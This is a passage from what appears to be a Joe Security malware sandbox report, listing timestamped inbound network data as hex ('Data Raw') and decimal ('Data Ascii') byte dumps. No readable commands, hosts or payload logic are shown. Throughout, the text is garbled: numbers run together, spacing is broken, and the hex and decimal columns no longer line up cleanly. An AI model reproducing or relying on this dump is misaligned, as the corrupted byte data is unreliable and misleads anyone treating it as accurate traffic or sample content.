31 3536 20 34 39 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 38 20 31 30 39 20 35 34 20 34 39 20 32 30 36 20 31
392031 393520383220 313934203131362031303920313132203530203438203439203534203138
2031 3133203234332037392031343220353020 31333220 35312035342038342031313420313137
2031 3130203131322031 313620353120 3234 3220323020 38 36

Data Ascii: 10 80 139 109 218 51 48 50 54 84 113 117 43 115 242 18 216 48 255 115 117 109 112 50 51 50 48 76 129
111131 112 156 49 50 54 84 114 118 109 54 49 206 19 19582 194 116 109 112 50 48 49 54 18 113 243 79 142 50 132
515484114 117 110 112 116 51 242 20 86

Data Raw: 31 31 32 20 35 30 20 35 32 20 35 30 20 39 39 20 34 20 31 31 34 20 31 31 37 20 31 30 34 20 31 31 32 20 31
38 3920 32 32 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 37 32 20 36 31 20 31 31 32 20 35 30 20 34 39 20 35 30 20
313920 3520 31 31 34 20 31 31 37 20 31 30 38 20 31 31 32 20 37 39 20 39 37 20 35 30 20 35 34 20 38 35 20 31 31 34
20 31 39 36 20 36 30 20 31 31 32 20 35 30 20 34 39 20 35 30 20 37 35 20 35 20 31 31 34 20 31 31 37 20 31 30 38 20 31
313220313920 39 38 20 35 30 20 35 34 20 38 35 20 31 31 34 20 32 35 32 20 36 33 20 31 31 32 20 35 30 20 35 30 20
353020 313437203620 313134203131372031313020313132203234 332039 382035302035342038
3520 31 31 34 20 31 34 30 20 36 33 20 31 31 32 20 35 30 20 34 39 20 35 30

Data Ascii: 112 50 52 50 99 4 114 117 104 112 189 22 50 54 85 114 172 61 112 50 49 50 19 5114 117 108 112 79 97 50
54 85114 196 60 112504950 755114 117 108 112 19 98 50 54 85 114 252 63 112 50 50 50 147 6 114 117 110 112 243
98 50 54 85 114 140 63 112 50 49 50

Data Raw: 37 20 35 30 20 35 34 20 38 35 20 31 31 34 20 32 32 35 20 32 35 30 20 31 31 32 20 35 30 20 34 39 20 35 30
203235302031 393520313134 20313137 2031303820 31313220 31 38 20 31 36 38 20 35 30 20 35 34 20 38
36 20 31 31 34 20 37 33 20 32 34 35 20 31 31 32 20 35 30 20 34 39 20 35 30 20 36 36 20 32 30 34 20 31 31 34 20 31 31
372031313120313132203136322031 363820353020 3534203837 2031313420323137203234 3520
3131 322035302034 392035302032 313020323034203131342031313720313038203131322039 30
20 31 36 39 20 35 30 20 35 34 20 38 36 20 31 31 34 20 32 34 31 20 32 34 34 20 31 31 32 20 35 30 20 34 39 20 35 30 20
32333020323035203131342031313720313038203131322034

Data Ascii: 7 50 54 85 114 225 250 112 50 49 50 250 195 114 117 108 112 18 168 50 54 86 114 73 245 112 50 49 50 66
204 114 117 111 112 162 168 50 54 87 114 217 245 112 50 49 50 210 204 114 117 108 112 90 169 50 54 86 114 241 244
112 50 49 50 230 205 114 117 108 112 4

Data Raw: 33 36 20 31 31 31 20 32 34 36 20 31 35 35 20 38 37 20 35 30 20 31 30 36 20 38 34 20 32 33 39 20 32 32 30
20323431 203131322031 3130203438 2031 33 3220 31 3539 20 37 38 20 31 32 30 20 32 35 20 31 30 39 20 31
33 31 20 34 30 20 38 37 20 35 30 20 39 30 20 38 34 20 36 32 20 32 32 30 20 39 39 20 31 32 32 20 31 37 39 20 34 38 20
32 3036 20 31 35 39 20 38 31 20 31 31 35 20 32 34 34 20 31 30 39 20 31 32 34 20 31 35 32 20 35 33 20 35 31 20 31 39
3120 38 34 20 38 33 20 32 32 33 20 31 30 20 31 31 32 20 31 38 37 20 34 38 20 31 20 31 3536 20 31 31 3520 31 31 35
20 32 3532 20 31 30 39 20 35 32 20 31 35 32 20 32 39 20 35 31 20 31 39 31 20 38 34 20 39 32 20 32 34 30 20 31 30 34
20313133 203138372034 382031303520313536203831203131

Data Ascii: 36 111 246 155 87 50 106 84 239 220 241 112 110 48 132 159 78 120 25 109 131 40 87 50 90 84 62 220 99
122 179 48 206 159 81 115 244 109 124 152 53 51 191 84 83 223 10 112 187 48 1 156 115 115 252 109 52 152 29 51
191 84 92 240 104 113 187 48 105 156 81 11

Data Raw: 20 31 35 37 20 39 32 20 34 38 20 31 31 31 20 38 31 20 31 30 20 32 31 36 20 32 31 20 31 32 37 20 37 38 20
34 3820 31 37 35 20 31 35 39 20 32 30 30 20 31 31 34 20 39 20 31 30 39 20 32 30 36 20 31 35 35 20 31 37 32 20 35 37
20 32 32 36 20 38 34 20 31 39 30 20 32 32 30 20 31 39 37 20 31 32 33 20 32 33 38 20 34 38 20 31 32 30 20 31 35 37 20
3134 342031 323120 31 36 31 20 31 30 39 20 31 33 31 20 31 35 35 20 39 20 35 31 20 37 34 20 38 34 20 33 38 20 32
323220313020 31 31 322037 38 20 34 38 20 37 37 20 31 35 39 20 31 31 30 20 31 32 30 20 36 38 20 31 31 31 20 34
3520 31 3537 2031 35 30 20 35 30 20 31 31 31 20 38 31 20 33 30 20 32 31 38 20 32 30 33 20 31 31 32 20 31 36 33 20
34 39 20 36 37 20 31 35 33 20 32 30 30 20 31 31 34 20 31 32 34 20 31 31 30

Data Ascii: 157 92 48 111 81 10 216 21 127 78 48 175 159 200 114 9 109 206 155 172 57 226 84 190 220 197 123 238
48 120 157 144 121 161 109 131 155 9 51 74 84 38 222 10 112 78 48 77 159 110 120 68 111 45 157 150 50 111 81 30
218203 112 163 49 67 153 200 114 124 110

Data Raw: 39 20 31 34 39 20 31 35 39 20 36 33 20 31 31 34 20 31 34 30 20 31 30 39 20 31 37 37 20 31 35 38 20 31 35
312033 39 20 39 35 20 38 37 20 33 20 31 39 38 20 32 34 31 20 31 31 32 20 39 31 20 35 31 20 31 36 39 20 31 33 32 20
313234 20 39 37 20 32 30 20 31 31 30 20 31 32 20 31 32 39 20 31 31 33 20 33 39 20 38 37 20 38 37 20 32 30 32 20 32
323320313020 31 313220 35342034 39 20 31 30 32 20 31 35 37 20 35 31 20 31 31 34 20 34 20 31 30 35 20 32 34
36 20 31 32 39 20 32 32 36 20 33 39 20 32 30 37 20 38 34 20 32 33 31 20 31 39 38 20 31 33 33 20 31 30 31 20 33 20 35
3120 31 39 33 20 34 34 20 38 33 20 31 31 38 20 35 32 20 31 30 37 20 31 33 31 20 34 30 20 38 37 20 35 30 20 31 30 33
20383220 313239203131312031333120313132203131352035

Data Ascii: 9 149 159 63 114 140 109 177 158 151 39 95 87 3 198 241 112 91 51 169 132 124 97 20 110 12 129 113 39
87 87 202 223 10 112 54 49 102 157 51 114 4 105 246 129 226 39 207 84 231 198 133 101 3 51 193 44 83 118 52 107
131408750103 821291111311121155

Data Raw: 39 31 20 39 35 20 39 32 20 35 34 20 31 36 20 32 33 20 31 39 20 31 20 31 37 20 37 30 20 38 35 20 39 37 20
36 36 20 33 38 20 32 33 20 32 30 20 30 20 31 31 32 20 31 31 38 20 38 39 20 36 34 20 38 33 20 35 35 20 36 20 32 36 20
3331 20 39 20 35 30 20 31 31 36 20 39 31 20 36 38 20 34 39 20 31 37 20 31 20 32 20 32 20 37 35 20 31 32 31 20 39 32
20 38 30 20 35 39 20 31 31 34 20 34 38 20 33 20 32 30 20 31 32 35 20 38 36 20 39 37 20 36 36 20 33 38 20 32 33 20 32
30 20 30 20 35 33 20 37 34 20 38 33 20 38 37 20 37 30 20 33 32 20 32 37 20 32 36 20 33 20 31 31 32 20 31 31 36 20 38
39 20 39 34 20 38 33 20 38 34 20 35 32 20 32 38 20 31 20 32 31 20 31 31 35 20 38 33 20 38 31 20 38 33 20 33 39 20 31
20 31 31 37 20 34 33 20 32 35 20 39 34 20 38 35 20 31 32 33 20 38 38 20 35

Data Ascii: 91 9592 54 16 23 191 17 70 85 97 66 38 2320 0112 118 89 64 83 556 26 31 950 116 9168491712275
12192 8059 114 48 3 20 125 86 97 66 38 23 20 0 53 74 83 87 70 32 27 26 3 112 116 89 94 8384 52 28 1 21 115 83 81
8339111743259485123885
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Data

Data Raw: 33 38 20 33 35 20 32 39 20 35 20 38 20 31 31 33 20 38 34 20 39 35 20 31 35 20 39 37 20 36 32 20 36 38 20
34 3220 31 38 20 31 30 20 33 20 39 35 20 31 32 35 20 31 39 20 35 38 20 36 38 20 35 39 20 38 20 39 39 20 31 33 20 35
3020 32 31 20 31 30 35 20 33 20 33 36 20 38 34 20 32 33 20 38 37 20 37 30 20 39 37 20 31 20 35 34 20 37 30 20 32 36
20 35 37 20 33 20 38 36 20 37 32 20 37 30 20 39 36 20 31 30 33 20 36 38 20 32 32 20 39 34 20 38 34 20 31 31 35 20 31
3320 3135203534 203131392037 392034 20323020 313920322031 3035 2039 3920 31 3032203236 20
33203334 2032362034 322031323220393120383520313230203136203336203737203120392031
32332039 37 20 38 34 20 38 31 20 32 35 20 32 35 20 34 38 20 31 35 20 35

Data Ascii: 38 3529 58 113 84 95 15 97 62 68 42 18 10 3 95 125 19 58 68 59 8 99 13 50 21 105 3 36 84 23 87 70 97 1 54
7026 57386727096 103 6822 94 84 115 13 1554 11979420 19 2 105 99 102 26 3 34 26 42 122 91 85 120 16 36 77
19123978481252548155

Data Raw: 31 35 20 35 34 20 36 20 32 33 20 32 34 20 32 20 36 20 38 37 20 31 30 32 20 38 33 20 39 30 20 33 33 20 32
3320313137 2037382037 37 2036 37 20 37 20 31 30 37 20 31 31 35 20 31 38 20 31 20 33 39 20 34 34 20 36 35 20
3131 20 31 30 36 20 36 34 20 37 38 20 33 31 20 33 38 20 35 35 20 38 20 36 30 20 32 32 20 37 33 20 32 20 38 30 20 35
312037 392037 32 20 31 30 39 20 35 33 20 39 32 20 36 38 20 36 34 20 37 39 20 31 37 20 31 30 20 32 38 20 33 30 20
34 20 36 3520 34 38 20 31 31 37 20 38 33 20 33 32 20 35 35 20 32 37 20 32 35 20 32 20 39 31 20 38 35 20 36 35 20 35
3420 3131392037 39 20 34 20 39 3520 32 33 20 37 30 20 38 38 20 36 38 20 31 31 36 20 39 38 20 36 34 20 32 37 20
39 33 20 37 31 20 38 34 20 31 30 35 20 31 30 30 20 39 38 20 34 34 20 37 31

Data Ascii: 15 54 6 23 24 2 6 87 102 83 90 33 23 117 78 77 67 7 107 115 18 1 39 44 65 11 106 64 78 31 38 55 8 60 22 73
280517972109539268 647917 1028304 6548 117 83 325527 25291 8565 54 119 79 4 95 23 70 88 68 116 98
64 27 93 71 84 105 100 98 44 71

Data Raw: 20 39 38 20 35 31 20 37 30 20 33 36 20 32 38 20 31 31 37 20 38 38 20 31 31 35 20 31 32 30 20 32 33 20 32
322033 30 20 35 36 20 35 34 20 31 31 33 20 38 37 20 36 38 20 31 31 35 20 36 31 20 35 20 37 32 20 31 30 39 20 38 33
20 31 35 20 36 35 20 39 36 20 38 34 20 31 36 20 31 30 20 35 39 20 33 35 20 34 37 20 31 31 33 20 31 31 34 20 36 36 20
3932 20 34 38 20 32 38 20 36 38 20 39 32 20 32 34 20 38 38 20 36 38 20 31 30 31 20 38 39 20 31 34 20 32 31 20 37 32
2038 3020313132203137203133203637 203736203620 3137203336203530203138203130203131
3820 39 33 20 39 38 20 35 36 20 32 20 36 32 20 35 37 20 34 37 20 31 31 32 20 31 32 37 20 38 30 20 36 39 20 35 31 20
34 38 20 32 35 20 39 35 20 31 38 20 38 38 20 37 20 33 20 36 35 20 31 20 37

Data Ascii: 98 51 70 36 28 117 88 115 120 23 22 30 56 54 113 87 68 115 61 5 72 109 83 15 65 96 84 16 10 59 35 47 113
114 66 92 48 28 68 92 24 88 68 101 89 14 21 72 80 112 17 1367 76 6 17 36 50 18 10 118 93 98 56 2 62 57 47 112 127
8069514825951888736517

Data Raw: 35 20 31 31 34 20 38 36 20 38 30 20 31 20 31 30 39 20 31 30 34 20 31 31 35 20 33 20 36 30 20 36 34 20 32
3520353920 35 35 20 31 32 32 20 31 32 34 20 38 31 20 31 31 31 20 31 30 39 20 32 32 20 36 32 20 39 30 20 36 39 20
3620 37 31 20 31 32 31 20 31 31 33 20 33 38 20 36 31 20 33 31 20 34 34 20 32 39 20 34 20 38 31 20 31 31 32 20 38 34
203335203334 203133203134203337 2031323020 313034 20383520 31 32 34 20 30 20 32 36 20 36 33 20
3536 20 31 30 20 31 30 20 33 20 38 39 20 31 32 33 20 35 34 20 34 39 20 35 37 20 38 38 20 36 37 20 31 31 37 20 35 20
37 312036 37 2032 37 20 36 32 20 33 37 20 39 31 20 33 34 20 36 37 20 34 38 20 31 37 20 31 31 20 33 37 2032 35 20
38 31 20 31 34 20 30 20 38 36 20 39 34 20 34 20 36 39 20 34 39 20 33 20 32

Data Ascii: 5114 86 80 1 109 104 115 3 60 64 25 59 55 122 124 81 111 109 22 62 90 69 6 71 121 11338 61 31 4429 4
81112 84 3534 13 14 37 120 104 85 124 0 26 63 56 10 10 3 89 123 54 49 57 88 67 117 571 67 27 62 37 91 34 67 48 17
1137258114086944694932

Data Raw: 32 20 37 37 20 35 30 20 31 39 20 31 35 20 37 31 20 32 31 20 33 32 20 37 36 20 31 32 20 35 34 20 31 31 36
20 39 37 20 39 38 20 31 31 35 20 35 39 20 34 20 35 20 34 33 20 31 30 20 36 38 20 38 36 20 39 33 20 39 33 20 35 39 20
3533 20 33 30 20 32 36 20 37 37 20 31 35 20 34 38 20 31 37 20 31 31 20 33 37 20 33 34 20 33 31 20 36 31 20 35 36 20
31 30312031 30 34 20 31 31 37 20 38 34 20 35 33 20 35 31 20 38 31 20 38 38 20 36 35 20 31 31 33 20 39 34 20 38 33
20 34 20 31 34 20 31 39 20 35 36 20 32 39 20 33 33 20 31 35 20 31 33 20 35 30 20 32 31 20 31 30 35 20 33 20 33 32 20
3538 20 34 31 20 31 31 32 20 36 39 20 38 31 20 38 32 20 31 32 20 30 20 34 20 33 31 20 36 36 20 31 32 31 20 36 37 20
38 31 20 31 30 35 20 31 30 33 20 33 20 36 32 20 35 35 20 31 39 20 31 31 35

Data Ascii: 2 77 50 19 15 71 21 32 76 12 54 116 97 98 11559 4 5 43 10 68 86 93 93 59 53 30 26 77 1548 17 11 37 34 31
6156 101 104 117 8453 51 81 88 65 113 94 83 4 14 19 56 29 33 15 13 50 21 1053 3258 41 112 69 81 82 12 0 4 31 66
121 67 81 105 103 3 62 55 19 115

Data Raw: 31 20 31 32 31 20 32 30 20 35 20 36 20 31 30 32 20 32 38 20 33 30 20 32 33 20 33 33 20 36 20 36 36 20 39
39 20 36 20 35 36 20 35 36 20 35 37 20 36 30 20 34 32 20 30 20 37 34 20 38 33 20 36 35 20 31 30 35 20 37 39 20 31 31
37 20 37 38 20 37 37 20 36 37 20 31 32 35 20 31 32 37 20 39 33 20 36 30 20 34 38 20 36 20 35 30 20 37 32 20 36 38 20
36 38 20 38 34 20 32 20 31 30 39 20 37 34 20 37 36 20 32 38 20 35 31 20 31 32 37 20 36 20 31 30 32 20 39 39 20 33 35
20 37 39 20 37 32 20 31 30 39 20 33 34 20 38 37 20 36 37 20 37 30 20 38 37 20 33 38 20 36 20 31 31 37 20 36 32 20 32
34 20 37 31 20 36 38 20 38 36 20 38 39 20 33 35 20 32 38 20 31 31 37 20 34 31 20 32 35 20 36 35 20 38 31 20 38 30 20
39 30 20 34 39 20 33 34 20 37 20 32 20 34 20 38 37 20 38 33 20 37 30 20 39

Data Ascii: 1 121 20 5 6 102 28 30 23 33 6 66 99 6 56 56 57 60 42 0 74 83 65 105 79 117 78 77 67 125 127 93 60 48 6 50
72 68 68 842109 74 76 28 51 127 6 102 99 35 79 72 109 34 87 67 70 87 38 6 117 62 24 71 68 86 89 35 28 117 41 25 65
81809049347248783709

Data Raw: 20 38 31 20 39 34 20 31 20 32 36 20 32 33 20 33 20 32 36 20 31 32 31 20 36 38 20 31 32 32 20 38 38 20 36
20 3120 32 32 20 36 20 36 31 20 35 20 31 32 31 20 36 20 31 30 38 20 33 37 20 31 37 20 32 20 31 31 20 33 33 20 31 32
3520 38 20 31 31 39 20 31 31 20 38 34 20 38 31 20 37 32 20 32 38 20 35 37 20 30 20 36 34 20 31 31 35 20 36 38 20 31
30 39 20 36 34 20 32 33 20 36 33 20 32 30 20 37 32 20 38 34 20 38 36 20 38 37 20 33 36 20 33 36 20 32 30 20 36 31 20
33 38 20 39 30 20 38 32 20 39 39 20 31 31 20 31 30 35 20 31 31 34 20 38 36 20 38 30 20 31 20 31 30 20 37 32 20 38 30
20 36 37 20 33 31 20 36 39 20 35 20 32 38 20 39 20 36 37 20 37 20 39 35 20 39 37 20 32 32 20 36 38 20 36 36 20 32 37
20 36 20 39 31 20 31 31 34 20 37 30 20 31 32 31 20 35 39 20 36 37 20 33 34

Data Ascii: 8194 1262332612168122886122661512161083717211331258119118481722857064
115 68 109 64 23 63 20 72 84 86 87 36 36 20 61 38 90 82 99 11 105 114 8680 1 10 7280 67 31 69 528 9 67 7 95 97 22
68 66 27 6 91 114 70 121 59 67 34

Data Raw: 37 20 31 30 32 20 38 33 20 39 30 20 33 33 20 32 33 20 31 31 37 20 31 30 20 32 31 20 37 30 20 31 31 31 20
31 3139 20 37 38 20 35 35 20 32 33 20 35 20 32 35 20 32 35 20 39 33 20 39 34 20 31 32 35 20 38 34 20 36 32 20 32 33
2032 32 20 32 35 20 31 31 32 20 38 35 20 38 35 20 37 30 20 31 30 35 20 31 37 20 31 30 20 32 32 20 38 20 30 20 37 30
20 38 39 20 39 33 20 38 38 20 38 34 20 33 38 20 32 36 20 33 33 20 33 31 20 36 39 20 38 35 20 36 34 20 35 34 20 35 31
20 32 33 20 31 20 35 30 20 36 32 20 38 33 20 39 33 20 38 37 20 35 34 20 37 20 36 20 32 30 20 33 31 20 34 20 36 35 20
31 30 33 20 39 31 20 36 36 20 36 30 20 31 31 34 20 35 37 20 32 20 31 37 20 38 36 20 34 38 20 38 35 20 38 33 20 33 32
20 34 35 20 35 39 20 32 20 37 20 35 30 20 31 31 33 20 38 36 20 38 32 20 32

Data Ascii: 7 102 83 90 33 23 117 1021 70 111 119 78 55 23 5 25 25 93 94 125 84 62 23 22 25 112 8585 70 105 17 10
22807089 93 88 84 38 26 33 31 69 85 64 54 51 23 1 50 62 83 93 87 54 7 6 20 31 4 65 103 91 66 60 114 57 2 17 86 48
8583324559275011386822
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2021-09-27 18:27:45 UTC 2059 IN Data Raw: 32 35 31 20 33 39 20 32 31 32 20 31 38 37 20 31 32 33 20 31 31 32 20 31 31 37 20 33 32 20 31 37 37 20 34
332034 38 20 38 34 20 31 31 32 20 31 32 37 20 31 31 32 20 31 31 37 20 35 38 20 35 34 20 35 30 20 35 35 20 36 39 20
3234 32 20 31 38 38 20 31 30 33 20 31 31 37 20 35 30 20 34 39 20 34 37 20 35 31 20 39 34 20 31 32 32 20 31 31 34 20
3130352031 3236 20 36 30 20 36 32 20 33 32 20 31 38 33 20 37 37 20 31 31 36 20 31 31 34 20 31 31 31 20 31 32 36
203332203137 3720343320353120383420313132203131362039 392031323620 33332035352035
342033 362032313220313436203130332032333720313434203332203137372031373120333520
37 3020 32 34 32 20 32 32 30 20 31 30 38 20 39 38 20 31 37 39 20 31 36 39
Data Ascii: 251 39 212 187 123 112 117 32 177 43 48 84 112 127 112 117 58 54 50 55 69 242 188 103 117 50 49 47 51
94 122 114 105 126 60 62 32 183 77 116 114 111 126 32 177 43 51 84 112 116 99 126 33 55 54 36 212 146 103 237 144
32177 171 35 70 242 220 108 98 179 169

2021-09-27 18:27:45 UTC 2075 IN Data Raw: 36 33 20 31 37 39 20 31 30 34 20 32 20 38 20 31 31 20 31 20 31 33 31 20 36 36 20 31 38 30 20 32 33 33 20
313820 31 32 38 20 39 39 20 31 35 34 20 32 33 33 20 36 38 20 31 33 38 20 32 35 35 20 32 31 36 20 37 20 32 32 39 20
31 31 36 20 39 35 20 31 39 38 20 34 34 20 38 39 20 32 37 20 32 31 38 20 34 32 20 35 34 20 32 34 35 20 31 33 39 20 31
323920 31363320 3131203139322039 342032333520 323134203130 322037 34 20 31 36 30 20 35 37 20
323234203135342032303220383420313934203937203138332031323620323033203132382031
33342032 3231203139 3020 313535203138 39 203130302038 203632203232302031373620313235
20 36 39 20 32 36 20 32 32 20 32 31 34 20 32 32 36 20 32 33 38 20 31 32 32
Data Ascii: 63 179 104 2 8 11 1 131 66 180 233 18 128 99 154 233 68 138 255 216 7 229 116 95 198 44 89 27 218 42 54
245139 129 163 11 192 94 235 214 102 74 160 57 224 154 202 84 194 97 183 126 203 128 134 221 190 155 189 100 8
62 220 176 125 69 26 22 214 226 238 122

2021-09-27 18:27:45 UTC 2091 IN Data Raw: 20 31 30 37 20 36 38 20 31 31 37 20 32 31 20 33 37 20 32 20 32 32 36 20 31 37 36 20 31 30 32 20 34 35 20
353520 35 39 20 34 33 20 38 32 20 31 34 30 20 33 35 20 34 36 20 39 34 20 32 33 39 20 36 31 20 31 38 33 20 31 34 32
20 39 36 20 37 38 20 30 20 32 31 37 20 32 35 31 20 35 30 20 32 33 31 20 31 34 33 20 32 32 32 20 31 32 31 20 32 31 34
2031 33332031 3530203233 322038382038 332039 3520 3234203338 203136 312031383120323120
323134203136302037312032303820323236203720313437203134382031333220313637203132
3120 31323620323320322032313820313237 2032303020 3535203137 3020383920 362032343420
3120 31 3539 20 3234 30 20 31 33 34 20 32 30 37 20 38 34 20 31 34 34 20
Data Ascii: 107 68 117 21 37 2 226 176 102 45 55 59 43 82 140 35 46 94 239 61 183 142 96 78 0 217 251 50 231 143
222 121 214 133 150 232 88 83 95 24 38 161 181 21 214 160 71 208 226 7 147 148 132 167 121 126 23 2 218 127 200 55
170 89 6 244 1 159 240 134 207 84 144

2021-09-27 18:27:45 UTC 2107 IN Data Raw: 31 31 33 20 32 35 20 31 32 37 20 32 35 30 20 31 31 30 20 33 37 20 31 38 34 20 31 34 38 20 30 20 37 33 20
383920 33 37 20 34 38 20 31 31 38 20 31 30 20 32 31 39 20 31 37 36 20 38 39 20 36 39 20 31 39 30 20 36 37 20 31 33
3720 31 37 38 20 32 35 35 20 35 36 20 32 30 33 20 32 35 31 20 31 32 33 20 31 38 39 20 32 34 34 20 32 30 32 20 31 37
3420 33 20 32 33 39 20 31 37 30 20 31 33 33 20 36 35 20 31 33 20 37 34 20 31 37 34 20 31 31 3520 31 33 34 20 31 39
3920 313937203134 322032303320313639 2031373820 313834203237 2033362031372036372031
343520 3532203137 312032313320 3633203834 2031342031343120313535203835203233312035
3520 31 38 3520313136 20 31 32 35 20 35 37 20 31 39 39 20 31 39 34 20
Data Ascii: 113 25 127 250 110 37 184 148 0 73 89 37 48 118 10 219 176 89 69 190 67 137 178 255 56 203 251 123 189
244 202 174 3 239 170 133 65 13 74 174 115 134 199 197 142 203 169 178 184 27 36 17 67 14552 171 213 63 84 14
141 155 85 231 55 185 116 125 57 199 194

2021-09-27 18:27:45 UTC 2123 IN Data Raw: 20 33 34 20 31 31 20 32 34 38 20 38 20 32 31 39 20 34 30 20 31 34 38 20 31 34 30 20 31 37 31 20 32 34 33
20333320 32 31 3120 31 31 34 20 33 30 20 31 34 33 20 38 32 20 32 31 30 20 31 36 35 20 32 33 20 32 34 34 20 31 35
36 20 32 32 32 20 33 32 20 39 30 20 31 20 31 30 36 20 35 34 20 32 38 20 34 36 20 32 30 36 20 32 32 30 20 31 39 30 20
32 33 34 20 38 36 20 32 31 20 30 20 31 32 35 20 31 20 32 34 34 20 31 34 30 20 31 33 34 20 39 32 20 39 20 33 36 20 31
3338 20 35 35 20 39 33 20 35 33 20 31 37 37 20 32 33 32 20 34 34 20 32 31 32 20 32 35 20 33 39 20 32 30 35 20 34 36
2031 37 38 20 31 36 34 20 31 32 36 20 32 31 20 31 38 30 20 31 35 38 20 33 35 20 32 32 36 20 31 34 36 20 32 31 39 20
38 34 20 31 30 38 20 31 35 35 20 33 33 20 32 35 34 20 32 32 30 20 32 35 30
Data Ascii: 34 11 248 8 219 40 148 140 171 243 33 211 114 30 143 82 210 165 23 244 156 222 32 90 1 106 54 28 46 206
220 190 234 86 21 0 125 1 244 140 134 92 9 36 138 55 93 53 177 232 44 212 25 39 205 46 178 164 126 21 180 158 35
226 146 219 84 108 155 33 254 220 250

2021-09-27 18:27:45 UTC 2139 IN Data Raw: 38 20 38 30 20 35 20 31 34 32 20 31 39 20 31 39 20 32 30 39 20 31 39 36 20 37 35 20 32 34 33 20 32 32 37

20 32 3520 32 31 30 20 31 36 38 20 39 34 20 36 37 20 31 38 20 32 33 35 20 32 20 32 30 34 20 38 31 20 37 38 20 38 30
2031 37 3020 31 37 20 31 35 33 20 31 32 33 20 39 34 20 31 32 31 20 31 37 35 20 36 31 20 32 33 36 20 31 38 38 20 31
33 3520 31 31 36 20 37 39 20 32 32 34 20 34 33 20 31 38 20 39 35 20 31 32 36 20 32 30 34 20 35 20 31 34 32 20 32 32
302031313120 3134312031 343420313020 31 343720353120 31313420 3239 2031 39 3120 32 31 30 20
32 34 37 20 31 36 34 20 31 36 37 20 31 31 32 20 31 30 38 20 33 31 20 32 31 20 33 36 20 32 33 31 20 31 36 37 20 35 31
20 37 3120 31 30 30 20 35 32 20 32 32 20 32 34 31 20 31 35 32 20 32 34 32

Data Ascii: 8 80 5 142 19 19 209 196 75 243 227 25 210 168 94 67 18 235 2 204 81 78 80 170 17 153 123 94 121 175 61
236188 135 116 79 224 43 18 95 126 204 5 142 220 111 141 144 10 147 51 114 29 191 210 247 164 167 112 108 31 21
36 231 167 51 71 100 52 22 241 152 242

2021-09-27 18:27:45 UTC 2155 IN Data Raw: 36 35 20 31 33 20 35 37 20 31 37 31 20 31 35 30 20 31 39 20 35 36 20 31 32 32 20 31 38 30 20 39 36 20 31
3336 20 38 32 20 32 32 35 20 31 38 38 20 32 35 20 31 35 20 31 31 36 20 36 37 20 31 35 39 20 32 32 30 20 38 38 20 31
30 38 20 32 32 35 20 31 36 36 20 32 31 36 20 38 37 20 37 32 20 38 20 31 34 32 20 32 31 37 20 31 35 32 20 31 36 39 20
323030203137 36 20 31 32 33 20 31 31 31 20 31 32 36 20 31 39 35 20 31 38 20 31 33 34 20 32 33 37 20 38 35 20 31
30 36 20 31 30 39 20 34 20 32 30 33 20 31 31 38 20 31 31 36 20 36 32 20 31 35 38 20 31 30 36 20 31 38 39 20 31 37 30
20 36 20 32 34 20 31 30 30 20 39 20 31 36 33 20 31 30 34 20 32 32 36 20 36 20 35 30 20 31 35 30 20 32 30 33 20 32 32
322032 31 39 20 31 37 36 20 38 34 20 35 34 20 31 39 38 20 35 37 20 31 31
Data Ascii: 65 13 57 171 150 19 56 122 180 96 136 82 225 188 25 15 116 67 159 220 88 108 225 166 216 87 72 8 142 217
152 169 200 176 123 111 126 195 18 134 237 85 106 109 4 203 118 116 62 158 106 189 170 6 24 100 9 163 104 226 6 50
150 203 222 219 176 84 54 198 57 11

2021-09-27 18:27:45 UTC 2171 IN Data Raw: 31 34 39 20 31 31 30 20 33 36 20 37 38 20 31 31 36 20 36 34 20 31 31 33 20 31 38 20 31 34 30 20 35 20 37
39 2031 39 37 20 31 31 39 20 37 20 32 32 37 20 31 39 31 20 32 31 20 38 38 20 31 35 35 20 31 32 20 31 34 33 20 31 37
3120 31 30 36 20 31 36 33 20 35 36 20 32 32 35 20 32 30 31 20 36 30 20 32 35 32 20 31 36 39 20 33 37 20 37 38 20 32
30 35 20 32 35 34 20 31 32 39 20 39 30 20 31 32 30 20 32 20 31 37 33 20 34 39 20 36 34 20 31 34 34 20 32 30 30 20 31
30 37 20 39 32 20 31 32 33 20 31 33 34 20 31 38 39 20 32 31 36 20 39 37 20 31 31 38 20 34 36 20 31 31 31 20 32 33 35
20 32 31 30 20 31 30 36 20 32 35 35 20 34 30 20 31 35 20 32 31 33 20 31 38 39 20 31 30 30 20 31 34 34 20 35 39 20 32
33 36 20 32 35 35 20 31 36 30 20 38 39 20 31 33 31 20 39 20 31 33 34 20 31
Data Ascii: 149 110 36 78 116 64 113 18 140 5 79 197 119 7 227 191 21 88 155 12 143 171 106 163 56 225 201 60 252
169 37 78 205 254 129 90 120 2 173 49 64 144 200 107 92 123 134 189 216 97 118 46 111 235 210 106 255 40 15 213
189 100 144 59 236 255 160 89 1319134 1

Copyright Joe Security LLC 2021 Page 70 of 118



kBytes
Timestamp transferred

2021-09-27 18:27:45 UTC 2187

2021-09-27 18:27:45 UTC 2203

2021-09-27 18:27:45 UTC 2219

2021-09-27 18:27:45 UTC 2235

2021-09-27 18:27:45 UTC 2251

2021-09-27 18:27:45 UTC 2267

2021-09-27 18:27:45 UTC 2283

2021-09-27 18:27:45 UTC 2299

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 32 34 36 20 32 32 20 32 30 36 20 31 36 36 20 36 38 20 36 32 20 39 31 20 32 35 30 20 34 39 20 32 34 39 20
31 34 38 20 32 32 36 20 34 36 20 36 35 20 31 36 34 20 32 35 30 20 32 37 20 39 35 20 32 32 36 20 32 32 32 20 31 39 37
20 38 32 20 31 34 39 20 32 30 36 20 31 33 35 20 35 39 20 31 33 20 31 37 32 20 31 32 38 20 31 32 35 20 34 20 34 31 20
313931203138392032353220323038203136332031393120313120313436203230203234322031
34 3020 32 3439 20 32 34 30 20 34 33 20 39 33 20 32 33 34 20 39 33 20 31 30 20 32 31 30 20 31 37 37 2031 31 35 20
36 34 20 31 30 20 31 34 31 20 31 32 34 20 31 33 38 20 32 38 20 38 39 20 31 34 39 20 31 37 34 20 36 33 20 3232 33 20
31393920 39 30 20 31 36 31 20 33 38 20 31 38 38 20 31 33 38 20 32 33 30

Data Ascii: 246 22 206 166 68 62 91 250 49 249 148 226 46 65 164 250 27 95 226 222 197 82 149 206 135 59 13 172 128
1254 41 191 189 252 208 163 191 11 146 20 242 140 249 240 43 93 234 93 10 210 177 115 64 10 141 124 138 28 89 149
174 63 223 199 90 161 38 188 138 230

